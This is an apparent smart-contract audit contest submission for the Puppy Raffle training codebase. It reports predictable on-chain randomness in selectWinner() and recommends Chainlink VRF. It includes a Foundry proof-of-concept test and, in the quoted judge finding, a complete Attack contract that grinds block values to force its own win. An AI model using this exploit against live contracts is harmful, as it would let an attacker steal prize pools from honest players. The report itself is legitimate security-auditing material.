Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak, predictable randomness in `selectWinner()` lets an attacker rig the winner and NFT rarity

mohdhuzaifah0786

Root + Impact

Description

  • Normal behavior: selectWinner() should pick a fair, unpredictable winner of the 80% prize pool and assign a random NFT rarity that no participant can influence.

  • Specific issue: Both the winner index and the rarity are derived from fully public / caller-controlled values — msg.sender, block.timestamp, and block.difficulty (prevrandao post-merge). Any participant can recompute the exact result off-chain and, because selectWinner() has no access control, only submit the transaction in a block where they win — or grind msg.sender (deploy contracts / rotate EOAs) to force the legendary rarity.

// Root cause in the codebase with @> marks to highlight the relevant sectionsolidity
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood:

  • Reason 1: Occurs every time the raffle is drawn — all RNG inputs are readable on-chain, so any participant can predict the outcome before calling.

  • Reason 2: Occurs whenever an attacker withholds their selectWinner() transaction until a block where the computed winnerIndex points to their own address, and re-rolls msg.sender until rarity yields a legendary puppy.

Impact:

  • Impact 1: An attacker deterministically wins the 80% prize pool every round, making the raffle unfair and draining value from honest players.

  • Impact 2: The attacker can mint the rarest (legendary) NFT at will, destroying the intended rarity distribution and its market value.

Proof of Concept

Add to test/PuppyRaffleTest.t.sol and run forge test --mt test_predictable_winner -vvv. It computes the winner off-chain using the same inputs and asserts it matches the on-chain result — proving determinism.
​
solidity
function test_predictable_winner() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
// Attacker (this contract) predicts the winner BEFORE calling selectWinner,
// using only public inputs. msg.sender for the call below is address(this).
uint256 predictedIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % players.length;
address predictedWinner = players[predictedIndex];
​
puppyRaffle.selectWinner();
​
// The prediction is exact — the raffle is not random.
assertEq(puppyRaffle.previousWinner(), predictedWinner);
}
​

Recommended Mitigation

Do not derive randomness from block globals or msg.sender. Use a verifiable, tamper-proof source such as Chainlink VRF.
​
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Request randomness from Chainlink VRF and select the winner in the fulfillment callback
+ uint256 winnerIndex = vrfRandomWord % players.length;
...
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ uint256 rarity = vrfRandomWordTwo % 100;
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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